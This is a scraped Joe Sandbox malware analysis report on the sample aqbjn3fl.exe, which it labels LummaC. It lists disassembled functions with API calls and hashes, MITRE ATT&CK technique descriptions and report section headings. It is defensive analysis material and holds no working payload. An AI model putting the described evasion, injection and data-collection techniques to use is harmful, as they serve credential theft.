Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a317586bf46e9fdd55d2e2c96d6cee2b9c046a0549e9a20fcb6ace79cffe4414
Instruction ID: 9fc9dc228bff8ee323b5a3d5019edfe9db027e44c33787799ad11fc5d0f5654a
Opcode Fuzzy Hash: a317586bf46e9fdd55d2e2c96d6cee2b9c046a0549e9a20fcb6ace79cffe4414
Instruction Fuzzy Hash: 3721D475684205AFDB10AF65E89297BB7ACFF80364714C53BF92A9B311E730ED409760

Function 009DFAD4 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de56e3b82d097439ad9a528eb05641e23434a2782c54f57bf70e5b112b61d8d
Instruction ID: 34075c86bb6394f81f0d1b65a61f6096e0b5b793138b5f7e46244cfac6614692
Opcode Fuzzy Hash: 6de56e3b82d097439ad9a528eb05641e23434a2782c54f57bf70e5b112b61d8d
Instruction Fuzzy Hash: C7219F71680206BF9B20AFA5DCA3D6A77ACAF84364710C537F91E8B351E734EC4097A0

Function 009E022A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009E0232

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E026A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E028A

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5bcbb0f445cda887ee774e346dccfd0fbc036a46e23c47968a32eeb51901b51e
Instruction ID: f3f97f9cc7fe610176eaa8417780f37e8a749ba65caec211bb4293d756301f52
Opcode Fuzzy Hash: 5bcbb0f445cda887ee774e346dccfd0fbc036a46e23c47968a32eeb51901b51e
Instruction Fuzzy Hash: 731166F290A6867EA71227739CCDC7F699CCEC63A87000021F902D6301EAB4DD819170

Function 009E4420 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000), ref: 009E4437
GetLastError.KERNEL32(?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?,?,?,009E12D7,00000000), ref: 009E4443

Part of subcall function 009E44A0: CloseHandle.KERNEL32(FFFFFFFE,009E4453,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?,?), ref: 009E44B0

___initconout.LIBCMT ref: 009E4453

Part of subcall function 009E4475: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009E4411,009E3BEF,?,?,009E1991,?,00000000,00000000,?), ref: 009E4488

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?), ref: 009E4468

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7ca164bed6218933b54e5948ec24d4f21324904785a5dae8d435fb7a8412ad6b
Instruction ID: 03f3d2302df40bcd8bebf8db15955755eb8e74146d4049c308592abf015e92a4
Opcode Fuzzy Hash: 7ca164bed6218933b54e5948ec24d4f21324904785a5dae8d435fb7a8412ad6b
Instruction Fuzzy Hash: C1F01C36515294BBCF231FD2EC48A993F6BEF487A1B014010FA6889270E732CC21EB90

Function 009E227C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009E2285

Strings

csm, xrefs: 009E22A7
csm, xrefs: 009E2318

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 94024c18b831c8219928743c753b0bd03d0c391a15678ef90d4ad782970b0bc5
Instruction ID: 03b7ccf173ae900599566c9ba4062f4e37e510d10444d69be67fd6d1427e22e7
Opcode Fuzzy Hash: 94024c18b831c8219928743c753b0bd03d0c391a15678ef90d4ad782970b0bc5
Instruction Fuzzy Hash: 7431B372400295EBCF278F52CC4496E7B6EFF09B15B18865AF95849221D33ACC62DF91

Function 0040BD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00409141), ref: 0040BD86
FreeLibrary.KERNEL32 ref: 0040BDA7

Strings

Wu, xrefs: 0040BD86, 0040BDA7

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: Wu
API String ID: 3664257935-4083010176
Opcode ID: 258e1ba9c224423b1a1c49954e9d779e47fc35ca85bf672c57b92161d3a4c994
Instruction ID: 331fdb691759df2a5931b2739dcb7d62f7cb4d50402f2e14919dbf10c38f77d7
Opcode Fuzzy Hash: 258e1ba9c224423b1a1c49954e9d779e47fc35ca85bf672c57b92161d3a4c994
Instruction Fuzzy Hash: A9C002BD901445EFDE416F61FC49A283A62FB923257050130A66590435DB329AB1DE99

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aqbjn3fl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
aqbjn3fl.exe

Function 009ED18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 009BD478 Relevance: 1.5, Strings: 1, Instructions: 206
COMMON

Function 009E0EA8 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Function 009DD4EA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 009DD2D2 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 009BA0B0 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Function 009DC7EC Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 009DDC6B Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 009DDA79 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Function 009BB0E4 Relevance: 1.6, APIs: 1, Instructions: 55
fileCOMMON

Function 009DEBBB Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE